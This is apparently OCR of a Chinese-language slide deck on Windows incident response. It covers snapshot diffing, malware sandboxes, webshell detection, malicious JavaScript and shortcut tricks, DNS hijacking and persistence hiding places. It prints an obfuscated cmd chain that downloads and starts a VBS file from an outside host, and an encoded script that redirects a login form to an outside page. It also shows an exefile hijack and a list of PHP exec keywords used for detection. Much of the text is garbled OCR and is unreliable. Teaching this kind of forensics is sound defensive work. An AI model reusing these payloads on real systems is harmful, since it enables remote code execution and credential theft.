F2.7% & 7 - Winalysis

Create Snapshot for \\GUEST 123456

FF Fress the Start button to create a shapshat of E¥ o
r'l I'\I'HGLIEST-I 23455?89']'3 I:Dﬂflgur-fltllzlﬂ .................................
. . Filters ..
I¥ Files W Services W System W Users ——c |
¥ Registy W Sharez [V Scheduler W Groups
M ‘Volume: W Rights
M arne Elernents Errarz Bytez | Compresszion | Miliseconds
Elements Monitared: Tatal Size: Total Tirme:
Help Wiew Log,.. Finizh




F2.7% & 7 - Winalysis

Configure Event Filters

Filez |Gr|:uu1:us | Reg:is‘tr}rl Ser-.ficesl

select the Directories andfor Files o mondtor for changes.

Wame |Suhfn:u]der3| i Lnclude. . |

[ e
[ AN T'Svsten 32

(]

Exclude. . |
Modifyr. |
Eemove |

Configure Event Filters X|
Files |G1‘c-u1:us I Reg:istr}rl Servicesl i

Zelect the Divectories and/or Files to mondtor for changes.

Wamie | subfolders | &  Include.. |
. ]

Modifar.. |
Eemowve |




F2.7% & 7 - Winalysis

¢* Winalysis - [\HP2000 Changes]
@ File Snapshob  Wiew ‘Window Help

2 M

ke Cave

=

Frint

-- (araups

=l Feqiskry

+-4m Services
@ Shares
(=] B Swstem

-- Scheduler

a1 o @
Snapshot  Test Config Critical  warmn
Marne Crikical | ‘Warnin Info
€ Eventlog 0 0 o5
€ Files 0 0 i
@Gmups O 0 O
@ Reqistry z BE 20
|_@Rights 0 0 0
Scheduler 0 0 0
'ﬂ' Services 0 [ 1
@ Shares 0 1 0
= System 0 0 0
ﬁLISErs 0 [ 0
=Iolurmes 0 0 0
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p fswall.exe
¥ FILE 101.exe
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fswall.exe

®th%
b C:\WINNT\system32\dump48.exe( iz % iz i)
p C\WINNT\system32\kazaabackupfile\*.*

® 855 e
¥ HKLM\SOF TWARE\Microsoft\Windows\Curr

entVersion\Run\Dump System Debug and
Control

® % 5Kazaair v E 3 425"



FILE 101.exe

® Hh%
¥ C:\WINNT\system32\ntdvrlib.dll
¥ C:AWINNT\system32\SCSrv.dlI

¥ C:\Documents and Settings\Administrator\Local
Settings\Temp\Del*.tmp

® FR7%:

» Script Client Service(WorkStationfr 7% i% %)
@ R F W

» DNS % :5view1.j2ee.us ~ view2.j2ee.us

y i3 $]1863/TCP



@® 7] . VirusTotal

T Dosrmtly ci e e Wi B N Y POSLRE STSAR ) Syl E | I AAS0E b gesdwas 0 WT Doty

#2755 & 45 - AntiVirus

LrBEr 8 Wil @ i ol 0 PeRutEnss SRR 8 ) RAwIE A SATEE B maby i

Filo narma
Bubmisaion 2uls
Cordnnd e
Fasun

Krzlab-ve
AEEii=
Azt bp-AL

Kathention

packupERase 107 _105420
FOU0.00. 20 175 245 UTC)

Ferinped
SPA3 (114%)

Las] Updaio

Verska

ZOL0. 053100

[ 15-2 1.".
i.0.3.7
5.2.0.5
d.8.13%8.13
el SR.Q
#.0.0.85H

WT Cammunsy

bl B A il
Calety =Xrd

La# Updsio
JUL0, 0. 20
20100520
J0L0, 0F. 30
2010, 0520
2010, 0628
J0L0., R 39
2010, 0528
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#2 X 2 41 — Online Sandbox Service

B2 GEEO BRV BELO ZEG 20 MO

@ Automated Malware Analysic X [a

<« c @ @ @ Hybrid Analysis GmbH (DE) | https://www.p: aee g m Mo & b =
PAYLOAD :
SECURITY HOME DEMO SOLUTIONS TECHNOLOGY COMPANY CONTACT

Acquired by . CROWDSTRIKE

VxStream Sandbox - Automated Malware
Analysis System [

VxStream Sandbox is an innovative and &

fully automated malware analysis system

that includes the unique Hybrid Analysis

technology. It is available as a standalone

software package that is automatically deployed
within your local infrastructure and operates without an external
dependency or callback mechanism. It is possible to execute
files on any Windows guest image (e.g. a copy of your local
workstation) and has a variety of integration and interface
capabilities. Alternatively, we also offer a limited hosted solution
that is operated from our servers in Germany.

Tl m Fmmbitvnm mmd = VhCemmimn Omim i mns im tsmins misdmsmmitrm o -

Latest News

Tweets vy @Hybridanaly:@

) ) ~
Hybrid Analysis
Retw 1

f

catec
-E1EC

s

ATT&CK

@MITREattack

ATTECK

We're excited to see
@HybridAnalysis mapping

sandbox analysis to ATT&CKI!

This is a great way to give an
understanding of malware

behavior by using a common v

Embed View on Twitter
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## 7% 2 47 — Online Sandbox Service

https://zeltser.com/automated-malware- anal sis/

BED HWO BRV Ex@© ZEE I20O HHEM®

E Free Automated Malware An X -|—

<« C @ @ @@ Zeltser Security Corp (US) | https://zeltser.cc B - @ % N O «© » =

= LENNY ZELTSER

save time and provide an overview of the specimen’s capabilities, so that analysts

can decide where to focus their more manual analysis efforts:

e AMAaaS (Android files)

SHARE =

e Any.run (Community Edition)

e Binary Guard True Bare Metal

® [ntezer Analyze (Community Edition)

e Comodo Valkyrie

e Detux Sandbox (Linux binaries)

¢ Joe Sandbox Cloud (Community Edition)
e Malwr (down at the moment) b
e sandbox.pikker.ee

e SecondWrite (free version)

e Hybrid Analysis

e ThreatTrack

e ViCheck
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IF
AT A T AN R R R
¥ lisdoor.exe

¥ msnchecker.exe

} rescue_system-common-en.exe
¥ Check and Get v1.14.zip

» Check And Get v1.8.70.zip
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PE+# 3

® PE (Portable Executable)¥™ # 45 ;4 # (=
¥ #73 Microsoft 32 =~ £ % i su#
Fefhd o Apl PE % T bz
’a,biﬂa =7 Windows 95 ~ 98 ~ Me ~ NT &
2000 FH 7 o
® 1L = 4D 5A(MZ) -
’»‘? * "ﬂ‘*&‘a = cexe~dll > w7 i gifs
o



i FAOF B 47— 2 B

® AL E SPERA S

LY FANED NS

® KA T TR T
tree-#5 % 7| &
BinaryTextScan-# 3¢ & ~ p %
fciv.exe ~ mdbsum -#5 %1 &
ff.exe-# % & 35 &2 ¢ ¥
XCOopy.exe-thH % & 4

® RootkitiE=

® AntiVirus ~ AntiTrojan(# &% &R 4>
MR BRI F)



ForensicToolkit20

@AFINd-H N HE X FBFER > 2 € B:t/fhld

® Audited — 3 1 X & 1% r’v’v;}ié;“;%

[ ] DACLChk exe — 5 v erg R rIRGE R —‘,5 ERr
® FiIeStat — 'fi—%ﬁ A A LY
® HFind — 35 2173 " 545 %
L Hunt— ‘}-—\‘3; 3’"] :"I A

® SFind — 35 4 #73 "R TR



bv FET L] 3
® PEA % ende /5] H 48 4]
— Aspack
— ASProtect
— Petite
— PECompact
— Neolite
— Shrinker
— Upx

® 7 * 3% 0llydbg ~ ProcDump32 ~ PeiD



Peld

X

P8 PEiD v0.95 =10] x|

I

Enkrypoink: EP Section: |
File Offset: First Bytes: |
Linker Info: | Subsystern: |

MMM []

| I8 PEiD Multiple File Scanner v0 .02 =101 x|

CMukiScan i | Task Viewer File | 1rfo |

Skay on bop

¥ Show only PE Files

| Scan Direckary I

¥ Regursive Scan
C:hDocuments and SetkingsiAl .. {aatalAdobe|Adobe POF\Extras) h’l.ﬁ.G.ﬁ.ZEIKﬁ.d 2006

N\



Maleware Analyzer

® http://malwareanalyser.blogspot.com/

AWINDOW S system 32cmd _exe

[+15ys Calls Made.
[-15ignatures not found

[+15earching if malware iz UM aware
[-18ignatures not found

[-]1 Disaassembling the first block

[Ax4A1855L1 jmp Bx481783L
[Bx48185%aL]l push Bxi4
[Ax4817A3L]1 push Bx4@h528
[Ax481785L]1 call Ax482598L
[Bx408178aLl]l mov eax Bxbhadd
[Ax48178f L] cmp [Ax4008081 ax
[Bx481714L]1 jnz Bx481755L







P AL e » BE(2EC B R)

® # =14 » (html, jsp, asp, asa, php, vbs)
;

RIS ATHN S ’%f’* #2575 ¢ html ~ jsp »
asp ~ php ~vbs... %
b e Ay txt > cfg ~ini > bat...
l'* '%“ LB A
g P &
r ISAPIﬁ_aE% :

%systemroot%\system32\inetsrv\
» /test.asp/:" /test.aspx/s- /test.asal P & 1
FARREAR G TR
® FHE
ks

RIS =



PRE LT RE > RS
'::vF2 F%]ASP“&»‘R :Q:’ \E'/’j‘

L3 ASPA B Y ~ g
€

ik
asa cer cdx stm shtml#§ %
ISAPI ¢
TR PETHEEIHOEN P &
- TR PED

,l’mfé_ﬁé >384 1

B ¢ ¥ g findshell

| & A

g
|

)



PR 2 ?:j—?i?ﬁ

=1olx|

SR N

#Z?E?:  [CAERSSample

e ]

[] .exe
[ ] .asp

[] .bat
8 il |

¢ B IR
C R EERA A
O TIRASPAR 2 B
C BRI S

u

BIE P (R IE7F )

EEmmitT TEMEEEEEEE

e

4




.
b cscript [ 5 P #\Scan.vbs] [P # P 4%] [3F 4
p 4x\Report.html]

¥ 5| : cscript Scan.vbs c:\InetPub

-
C:“\ERSTools fileNEE [EISPSecurityl .6sp2—tutools>eseript Scan.vhs c:NInetPub C
:sReport . html
Microzoft (R> Windows Script Host Uersion 5.1 for Windows

CC>» Microsoft Corporation 1996—1979. All rights reserved.

e 4 s Ho gt g e O

===== m- Aunthor: lakeZ =====
===== Email:lake2i@mail.csdn.net =====

===== Eﬁiﬂ%ﬁﬁﬁ wue . Bx54 oy %?iﬂ R =====

FFc : ~InetPub

ffc I netPubMidminScripts
tsInetPubsiissamples [
tsInetPubsiissamplesssdk nl



A FEE ASP i5 5 422 B vbs iR e

| #E=(E)

HRas(E)

A )

e

-10J x|

HAVEE(A) THI)

ERAR(H)

CLomy 7003 Qe Eypps Iug D 2

@@ Rt o] op=

|

BEHE ASP UhR T 2B Fvbshkfmlaii s

Beag AERE @ 2002118 T 09d 14l
IR ¢ 20007118 T4 094143
FleseE | — R B o sOME o ook uE - BWRAEERR I (I ERTRI R ERE R EE)

F

T g =3 B [3E AE r AS

c:".InEtPuh".iisssmple. = T LB (L5 ASPASEE » 3 2003321 _EF0

sed Khasphatabaz'ad ||[Execute()2hEExec B PRI - Eot RS : 2 1:09:08

b T e B G ataIE - = R W ogon 14 TR O

I & 4:49:18

Vamislnsemi ST T RASHTE » i | T

dedBaspiatabase'sl |[Execute (5 Exe: B RSAIE « HFUS RS : v 1:09:08

mplequery vbseript. |[uteGlobal) pt = EEE anan1m TR0 ;|
81 | Cmems




3 ()

® ¥ * fJavascriptp qﬁ
¥ Iframe src="http
» <body onload
b width-]- >+10 » 2 height-]- 3+10
PR A ()@
®F iy 5D
b document,ﬁ‘a 71 » |4-document.write
P ATAR T L% 7] > window.open
P "http » 4F %] F_src=""% , onLoad=""



+ 1

P (1)-7 LR g b

<a href="http://www.sti.com.tw@1208929129">ADMIN
LOGIN</A>

<script>

www = new obj1();

function obj1() {this.google=new obj2;}
function obj2() {this.com=0bj3;}

function obj3()

{open("http://www.sti.com.tw@1208929129" "NewWindow","toolb

ar=no,location=no,directories=no,status=no,menubar=no,scrollbar
s=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,
top=10");

}

</script>

<span id="1" onclick="www.google.com();">TEXT<span>



£ 1 $% ¥4 (2)-Script ~ &

O EFP ISR G
» eval(
» escape(
¥ unescape(
¥ encodeURI(
» encodeURIComponent(
b jscript.encode
} javascript.encode
¥ vbscript.encode
F expression(



£ 31 AH(2)- S A 15 g B

® %3c%3d%2522%253e%253cscript%3eeval(unescape(%2522%2
52564%25256F %252563%252575%25256D%252565%25256E %
252574%25252E%252567%252565%252574%252545%25256C
%252565%25256D%252565%25256E%252574%252573%25254
2%252579%25254E%252561%25256D %252565%252528%2525
22%25256C%25256F %252567%252569%25256E%25255F %25
2566%25256F %252572%25256D%252522%252529%25255B%2
52530%25255D%25252E%252561%252563%252574%252569%
25256F %25256E%25253D%252522%252568%252574%252574
%252570%25253A%25252F %25252F %252577%252577%25257
1%25252E%25257A%252575%25257 3%25256F %25252E %252
56F %252572%252567%25252E%252574%252577%25252F %25
2564%252565%25256D%25256F %25252E%252570%252568%2
52570%252522%2522))%253c/script%253e%253cscript






1 FEE(3)— R (S

® wscript
® system( , shell exec(, exec(, passthru(

® fopen, popen, fread, fclose, fwrite,
file_exists, mkdir, rmdir, chmod, unlink,
closedir, is_dir, readdir.opendir, fileperms,
delfile

® ' phpit #BUNIXmpk s 2 7 73 50
P ] . echo Is;
¥ rshell _exec()




1+ $H(4) — SWF/RM# 5

®swii 5 4% ¢ &/ K v flash playeris iF
®@rmi 5§ 4% e /X & rm playeris ik
@ ﬁ,&-ﬁi B2 m,g /EJ \
P (1) ¥ 3 swilrmiAd, % 20 Roho Ay 57 AL 13 it
P (2) P ¢ s E N 51 (sre=http) 3] 5 zswi/rm
Fo o %
® : #CLSID



o

L

Z 2

8

. 4+ (5) — urlsnooper

> A] 4 L r / i ~ Q -——L- Eﬂ’, » -/ - tl v /N,
A ] \) - V4
>~ )3 Og £7 rﬂ { ~ T3 E\ H L_’T‘J]'E h_"_

te TRL Snooper 1 ] |
File Favorite Websites  Help

Search I General Dptions I

Frotocal Filker F.eyword Filter Alzo Search For
{ Show &1 =1 |
g-_;} B mitfrd Efwnrk | @ Stop Search | é" Clear Fesults | FPauze | Parse 1 |

Index L |URL | Praotocal | Source P |;|

o142 http: # /blufiles. storage. mzn. comdyl pyR TipkEvER KbhaBT1RW ... hitp E5.54.167.53

o043 hittp: //cid-5479941 31 14230, profile. live. com hitp B5.54.167.59

00146 hitp: A fcid-9d1 254212823595 profilefens1 | ive.coménotes  hitp 65.54.167.59

Qo147 http://cid-3d1 abde21 2828595 profile.live. com/notes http E5.54.167.53

no14a hittp: //cid-ad 3261 €11 edf0369. profile.live. com/notes http E5.54.167.59

o149 hitp: A fcid-ad 3261 ¢ 11 edf0369. profileferve 1} ive. com http 65.54.167.59

0150 http://blufiles. storage. man. comdyl pBRWS_esooswiklzg2t3.. hitp E5.54.167.53

00181 hittp: //cid-ad 3261 €11 edf0369. profile. live. com http E5.54.167.59

nos2 hitp: A fcid-ad 3261 ¢11edf0369. profileferve ive. cominates http 65.54.167.59

o154 http: ##cid-ae5505ba8c05b6dE. profilefeny Llive.com/notes hitp E5.54.167.53 J

01565 http: //cid-aebBb05baBe05bEdE. profile. live. com/notes http E5.54.167.59

0156 hitp: /¢ cid-3cd4aFfBc? 330384 7. profilefeny] Flive.comdnates http E5.54.167.59

Qos7 http:/Acid-3cd4arf8c? 33c3ad 7 profile live. comdnotes http E5.54.167.53

Q0158 hittp: A cid-c5d26ecfFOEL3241  prafilefenyl Llive.com hittp ER.54.167.59 LI

tanually Scan a URL: I Dowrload Open in Browser |
|5'?EI'I"5 packets recedved (0 buffered locally). 4




® & AT AR
b *.asap (2 1 2009# ¢ A o)
b jpg, gif :

— http://www.test.com.tw/show.jpg=>
— http://www.test.com.tw/show.jpg/=>
— http://lwww.test.com.tw/show.jpg/index.htm

® 404,500 Error # &+ p &




1 % ¥ (7) — Bookmark#* 5

® iz 7 -mBookmark

http:fiewew fake com

® 7t AT
S A S
AL B
P XSSz #
» DDoSsz#



1+ %(7) — Bookmark#* 5 -3 iz

. urlﬁ; E'J/J/’%k E/I Google AIE 2) x|
— RN ||
.,‘l Foogle
El
UEL I
POERIE):  [F2
TERE: 6
IR TR ) SEETC).. |
e | mw | =Rw |




£ 1 % 434(7) — Bookmark# 5 -2 iz

® urlfh e -2 A 2
¥ URL @ P &34t
» WorkingDirectory : 1 i p 4%
¥ lconFile : Bl «n2~% Xk » ¥ & |CO, DLL &
EXE
¥ Iconindex : Bl /7 % 5 B
¥ Modified : 2z p Hp
¥ ShowCommand : kx# s % = /| > 3| » T3

"

P Google - 5Pk 3 =10 x|
BEE HREE BAO WHE HBEE

[InternetShortcut] = '}} f‘a; ég‘
URL=http://wuu.Fake .con/ YAl BT
WorkingDirectory=C\WINDOWSY
Hodified=109A445D596BCAB1DF
IconFile=http://www.gqoogle.com.tw/favicon.ico

v

IconIndex=1
ShowCommand=7 I
HotKey=113

o of




=+

e —

A ) 1,

1 +% ¥7(7) — Bookmark# 5% -i
 F E RN Z
N2 o 2 S =/ 2 -

® urli ek -8 & 3% T HotKey

C+5 S5+A C+A C+5+A C+5 S+A C+A C+5+A
A | 833 1345 1601 1857 ¢ | &7 1329 1554 1541
B | 834 1346 1602 1853 1| &8 1330 1585 1842
C | 835 1347 1603 1859 2| 39 1331 1586 1543
D | 836 1343 1604 1860 3| 820 1332 1587 1844
E | 837 1343 1605 1861 4| a8 1333 1558 15845
F | 835 1350 1606 1862 5| 822 1334 1589 1846
G | 839 1351 1607 1863 & | 823 1335 1590 1847
H | 840 1352 1605 1864 T | 824 1336 1591 1545
1| &84 1353 1609 1865 8 | 825 1337 1592 18449
J | 842 1354 1610 1866 % | 826 1338 1593 1850
K | 843 1355 1611 1867 ;| 954 1466 1722 1973
L | 844 1356 1612 1863 = | 955 1467 1723 J 1978
M | 845 1357 1613 1869 . | 956 1463 1724 L Ej a0
H | 846 1353 1614 1870 - | 957 14639 1725 1951
0 | 847 13989 1615 1871 955 1470 1726 1952
P | 843 1360 1616 1872 359 1471 1727 1953
0 | 849 1361 1617 1873 60 1472 1728 1954
R | 850 1362 1615 1874 [ | 9&87 1499 1735 2011
5 | 891 1363 1619 1875 | 9585 1500 1736 2012
T | 852 1364 1620 1876 1| 9&9 1501 1737 2013
U | 853 1365 1621 1877 “ | 990 1502 1758 2014
V| 854 1366 1622 1873
W | 855 1367 1623 1879
X | 856 1363 1624 1880
¥ | 857 1369 1625 1881
Z | 853 1370 1626 1882




-

=+

a1 ¥

® urlig ek se-2 A%

N

PAY

#(7) — Bookmark#* 5 -3

=2

"

T_HotKey

Hone Ctrl Al Shift C+A S+A C+5 C+5+A

F1 | 112 G224 1136 1ata] 1648 1392 aa0 1904
2113 G25 1137 369 1649 1393 a1 1805
F3 | 114 G26 1138 370 1650 1394 aa2 1906
F4 | 115 G27 1139 3 1651 1395 aaa 1907
F5 | 116 G285 1140 ar2 1652 1396 a4 1805
Fé | 117 G293 1141 ara 1653 1397 aas 1809
FT | 115 E30 1142 374 1654 1395 Eatals] 1910
F& | 119 B3 1143 Ve 1655 1399 a8y 1911
F% | 120 B3z 1144 K 1656 1400 oes 1812
F1g | 1M1 B33 1145 KT 1657 1401 g9 1913
Fi1 | 122 B34 1146 ara 1658 1402 aa0 1914
F12 | 123 B35 1147 37a 1659 1403 a1 1915




£ 1 1% ¥4(7) — Bookmark# 5 - & 35

LA
HKEY CURRENT_ USER\Software\Micr
osoft\Windows\CurrentVersion\Explorer\
User Shell FoldersFavorites i~ ¥

o SRREEA I = S
BED REE WREE BNESE e
: L [ StartPage HIES T | & -
(1] StreamMRT lab] (FEERE) REG 82 BB
e (] Streams [ab] A ppData REG_EXPAN.. ®USERPROFILE®\Lpplication Data
(] StuckRects2 [ab]Cache REG_EXPAN.. ®USERPROFILE®Locel Settings\Temporary Intemnet Files
- tips [ab] Cookies REG_EXFAN.. ®USERPROFILE#Cookies
L Trayllotity [ab] Deskinp REG EXPAN.. %USERPROFILEETE
E’ {3 _T_'TSH Shell Folders weorites REG 32 D\Favorites
E l__lai iz‘;ﬂ 4 | [ab] History REG EXPAN.. ®USERPROFILE#Locel SettingsHistory
; D o P B VissalEftos's [ab]Local AppData REG _EXFAN.. ®USERPROFILE®Local Settings\d pplication Data
Ef_‘l Wallpager [ab] Locel Settings REG_EXFAN.. ®UIERPROFILE#Local fettings
lTr 71 WebVisw ‘-I:_I E@jM}r Fictures REF RBE DiiLuciferhdw Pictores J:J
4] | T | 3
[HAE S HEEY CURRENT. USER'SoftwarebicrosnityWindows\Cument Version'ExploreriUzer Shell Folders LE Y




£ 1 5 %4(7) — Bookmark# 5 - % #5

® type *.url+t %

v CAWINDOW S vsystem32cmd _exe

[DEFAULT 1
BASEURL=http:-sblog.udn.com wangkwo-1371369
[InternetShortcut]

URL=http: /blog.udn.com wangkwo-132136%9
Modif ied=48725588E2BRBCEBA1F2

]:Ei.url

[DEFAULT 1

BASEURL=http:/swwm:.microsoft.com taivanstechnetssecuritystoolssdefaunlt. mspx

[InternetShortcut]
URL=http: A uvuuw.microsoft.comnstaivanstechnet/securitystools default.mspx

Modif ied=AR4A43INARCT2CLA] A%

D:~Favorites>




FIPHE() - PG A

®iche i e KR AT IR

®@Proxy : # % 5 I > L ;‘{g}g}%j%"
4

® /etc/hosts#d - * F 5 w IR

@4 DNSEH - 427 % % %R



w‘

4\\

= 3 P (7) — *if 4 DNS & #5

® it +:DNSZ 7

JERE TCPAP XA ed s
—g DHY | wms |
DS {EIARER (it + {18 P ADIERE 1):

el

gew. | mme. | Bgo |
TR R EEREIERAT ICMP AR - (FHTHEH
FRER AR

O HIINER EEIRFIER DNE BT
[ HannESE DS FERSETE RS G0
+ HNOSSLE DS RS (RIER )

5

Feo. | wBO. | ERe |

JEMEsERA) DNS BRE(): |
v £ DNS it EERREEa iR
[~ 1€ DN& Bifcp{E FiSEELRRD DN: ERE D

e | @ |




g

=1

F2 4 (7) — i+ DNS & &

. CAWINDO WEisystem32emd exe

C:srnslookup www.vahoo.com
Server: hntpl.hinet.net
Address: 168.95.192.1

Mon—authoritative answep:
wvuw—real . wal .b.yahoo.com
289 _131.36.158
v . yahoo.com, wwr.wal.b.yahoo.com

c ICAWINDO WEsystem 32Wcmd exe

C:xrnslookup v . vahoo.com
Server: hntpl.hinet.net
Address:= 168.95.192.1

COom.org.tw
dh.117.2200.24A
wint . yahoo .com.oprg . tu
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® Wireshark

7! (Untitled) - Wireshark = =]
File Edit View Go Captore Amlyze Shlistics Help

Bedad cEx@alacsoTi[EEIQAQAn| @0M % B

Filter: | v Expression.. Clar Apply

No. . |Time |S|:|U.rce |Desl:inatiun |Prulmcul |Infu =

192,168, 200,100 TCP
152,168, 200,100 HTTP
192,168, 200,100 TCR

50.021210 192.168.
6 0.021231 SHE R
7 0.035798 192.168.

GET / HTTR/1.1

T
LR LN VS

3. 035904 .200.100
10 0.038048  102.168.200.100 192, HTTR/L.1 200 oK (text/html)
1 0.051384 .200.100

51710

ssql > http [AcK] Segel Ack=l win=54240 Len=0
ssgl > http [AcK] Seg=l Ack=l Win=64240 Len=0

http » 5501 [ACK] Seg=l Ack=567 Win=h792 Len=0

-

ol

Frame 12 (372 bytes on wire, 372 bytes captured)
Ethernet IIJ src: vmware_4d:as:hbd (00:0c:29:4d:a8:bd], DsT: Vmware_ee:ff:69 (00:50:56:e2:Ff:69)
Internet Protocol, src: 192.168.200.100 (192.168.200.100), Dst: 192.168.1.2 (192.168.1.2)

OEEHH

Source port: http (800
Destination port: ssgl (3352)
seguence number: 1 (relative seguence number)
[Mext sequence number: 319 (relative seguence number)]
Acknowledgement number: 367 (relative ack number)
Header length: 20 bytes
® Flags: 0x18 (PSH, ACK)
window size: 6792
# Checksum: 0x5351 [correct]
# [SEQ ACK analysis]

Transmission Control Protocol, Src Port: http €800, Dst Port: ssgl (33520, Seq: 1, ack: 567, Len: 318

88 53 51 00 00
0040 0 20 4T 4b Od

0090
00a0
00ho
00c0
00d0
0020
oofa

Text dtem (), 318 bates | Profile: Default

£




£ 1 P %4(9) - IS & :F B4-MIME

F A Web i AR 2| x|
et | Emmzme | HIR@E | SEmR |
Webibm | HMEE | s ISAP] BREE T =
| RAEEE Web i AR 2| x|
LSRR RSEE Mo SE IR - TRER WelE | BMES | wme | mAREEE | rBs |
R B | HigZ 25T | HTTE $ZE8 BET#R
AR SSVABES URL (T3t B RATER -
1 . CEHFAMEFEEE(T. *
; gEAI). | | AE |
AR TihelphiisHelpteommon'd 00 him -
HER (R CAWINN TrhelpiisHelphcommon'01-1 him
E CAWINN ThelpdizHelphoonmonid 01 -2 htm
ﬁﬁﬂ@ CAWINN TihelpiisHelpheonumond 01- 3 htm
CAWINH ThelphitsHelpheonmonid 01 -4 him
CAWINN ThelpdisHelphoonomonid 01 -5 htm
C AR TihelphitsHelpheommonid03-1 hbn
CAWINH ThelphitsHelpheonomonid03-2 him
CAATTRTE TihelphitsHelpheomomomnid03- 2 hibm
CAWINN ThelphitsHelpheonmond03-4 him
CAWTNN TshelntiisHelnenmman'd3-5 htm
— BEATE. | IEERES |
- TEFEREUEE IR E
| Bl
| AEEREY (MIME):

i e Evi




findshell

® dir *.aspx *.aspx /s /b > filelist.txt

® findstr /i /r /s /1g:%cd%\shell.sig
If:%cd%\filelist.txt >
%cd%\find_shell result .txt



& ﬁs

@i Hwebp & PR KT ag ?
@z 2 ARPH 5 3t ¢



@3
C:ﬂ\:L

if.;(& F7; Er_ 2&51



A SR S8 BR T 5

®H Lz % drexplorer.exe
® D iz s Bldr
%SystemRoot%\system32\explorer.exe
® %MS +HYE
= F-Evm'J K/Tj B B
‘zu‘K% }%'
PRI AR E 0 bl4edllE B



® v 1 7§27 VM
® AT & T AR ek AL R

p SoftHome.exe
p SoftHome2.exe

O hH P D
SEVRUESE: ¥
I*Jf T RTHE PR A%
A
W E s % AUk iy e g



SoftHome.exe

%
¥ C:\Program Files\Internet
Explorer\svhost32.exe
¥ C\WINDOWS\system32\mxdil.dll
@55 E
» HKLM\ASOFTWARE\Microsoft\Windows\Curr
entVersion\Run\mx



SoftHome2.exe

LiER
» C:\Program Files\svhost32.exe
¥ CA\WINDOWS\system32\xwdll.dll

® 575 B

r HKLM\Software\Microsoft\Windows\Current
Version\Run\xw



L sE

® LNKE A

® S qr st

® System Volume Information
® P&
®-TA%

® Btk B

® 7 ¥ AT R
® SupperHidden

® ADS¢E i~

® s vt

® coml =g =

® AT ITF

® IFEOZ 35

® debug# =

® PATH# &



DEEES AE X| 2 IZ]@@

— | EE BE TR mE e | ET ﬁi(ﬁ) #RiEE) RS fRAROD  FRERED
. %EumSpec% /¢ set h=p -&set j=gefset s=.gB3z.&echo echo o wwwi »
$ AERTEE s%com”>t>b.bat&call b.bat&echo aa33>>t&echo bb33>>t&echo echo
%j%t p p-vbs™»"»t>ckecho echo bye™ > >t>>c&echo Ftih%

s:ti>ckecho start p.wvbs>kc&ren ¢ h.bat&call h.baté

Bl  ERER
SEbr=g

BiE(T): |%Cu:um3pec%."c st h=p &set]—ge&sets;gﬂEz &I - y
@ 7 ¥ - ¢ DOSH; £ el &

BREEEE): | fwindi® j

s N SRR L ErEE N

BITR: | Bt v|

At | P B RIRE
(ESE8E. | ($EET0. | [ ERD.. |

"Ti\‘iﬁ.’& (A5 A7)
«‘tghf'?i? '

[ @ | mA |

%ComSpec% /c set h=p -&set j=ge&set s=.g03z.&echo echo o0 www%s%com”>t>b.bat&call
b.bat&echo aa33>>t&echo bb33>>t&echo echo %j%t p p.vbs*>*>t>>c&echo echo
bye*>*>t>>c&echo ft%h%s:t>>c&echo start p.vbs>>c&ren c h.bat&call h.bat&



® set
devmg r_show_nonpresent_devices=1

®EE £ 12 A (devmgmt.msc)->4 ;1 L

B’_ HEE‘EEE

El BED 870 | mEc FHAE ‘

- = || & *%EEEENE |

=3 $EE (ORI
5, DYDICDF =i (IREN

 IDE ATAN iR RO

E..
-4 i =
- @ AR
[ TTREERR]
w0 RAEE
= el e
[+ pRI9 48
-

SEF R A1
E SEIELE (COM FOLPT)
) BEREihEmEE
- I
w0 B

e TR
= B A E
s BB

w3 BT

ETEEEE TR EEE - ' l




System Volume Information

@i T A I kKRR 1B
* REFHTNERREEO S B - B
Red s B PRy —

@ FFREELE F Ly BUAT

Otz hH > 5

¥ mt.exe —su
l* dir "C:\System Volume Information”

L fft&?*"q’\«‘r—m’ﬁi J]}Uﬂ'\ﬁ ¥ £E
c :% *mtexer dw RAK PP F 2N
® 5 st %iﬁ*ﬁmtexea 7 AR



R P A

@diris p o2 e 5 T,

» md test..\z' mkdir test..\

¥ copy hello.txt "G:\ERS\test..\\hello.txt"
CE =[oix]

boEEE RS

S-S BN <y Bl
0z 42

b start G:\ERS\test..\

» rmdir "test..\"

F

BEE #®BE wAO #@ >

)

test.

Qrr-- J| us”
D [ o ERs | B =

s

1ED@EETE | ) FAEE




-
—

= windows/R 454,

Jad S ﬁ?r:},";:,.%. , ;;};3:;; g B € Bk o

g ,fﬂ ffuﬁi Eﬁﬂ "ﬁ

» compress -R filenam S

L AR
i1
(ie4h &7 % 1)
p SZDD#: 3¢
¥ expand —r filename

-
w7

i 3

Rt

=10l xi

BEE BEE R0 BHEEQ TED = r 0
Qt=-0- ¥ Jes [ =% | |5
MBUED) [ oERS x| B4 =
=
Tellobdi  hello.tx
2 B a0 EieE | ReE Y




w1 v FEC

® 575 B ¢ K Zexefile="%1" %*
O %

¥ assoc | find "exe"

b ftype | find "exefile”

bt BT BIRG L A 5
® 5 % % PRp Bt chis P

p ftype exefile="C:\recordexe.bat" %1

b ftype exefile="%1" %*



26 B

® HKEY_LOCAL_MACHINE\Software\CLASSES

¥ \exefile\shelllopen\command
¥ \piffile\shel\lopen\command
¥ \htafile\shell\open\command
¥ \comfile\shel\open\command
¥ \cmdfile\shel\open\command
¥ \batfile\shell\open\command



b ALT-/] 424 » 6] 4-ALT-128

pﬁ@}_ﬂj" I
@ v LAV rdirg o

@7 <> >ASHEEp udirg O



& WINDOWS

BED &HEE BRI EeEW IRO A

explorerexe  explorerexe explorerexe Fa:-:Semplng FeatherTestn...  g90f-3 cat GA0f-3 imm L
343 B4 | ¢ FADEERE 4

e CAWINDOWSAsystem 32%cmd exe

C:SUINDOWS »dir explore
S ¢ TSRS HELLSYS
C:\WINDOWS HYH &

T4~ i8:88

T 10:88

T4~ i8:88

T4~ eg:a0
4 {EfE

Gz SHTHDOWS

978,432
978,432
978,432

explorer.
explorer.
explorer.
ol exXplorer.s
2,935,376 \
198,234,230, 784
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-+

4

g
|

~ Bl

.t‘:‘?’_ﬁiljr |

®MS-DOSHi-3" 7 -

PAl

T 5

VAl

& WINDOWS 2 IEIIil
BRO BEEO A0 BWREW TAD ¥ | @
Q= -Q- ¥ Pre - aex |5 2 X B |-
D) | CAWINDOWS | B ez
Tagks Temp twadn_32 TWeb Windud _defanlt 0log 002690 _tmp
% E E - EMF | < T
3 s o <
almainald  Awd_logind Aswd tmpind  atoglaonl  abivpeaonbin andio log BllgehLace bootstat.dat
brnp
F 'J‘-' i EMF B i i i
-9 9 ® |
clock avi cimzetacl Catise Y . stuplog  contolind desktop.ind  Directl log
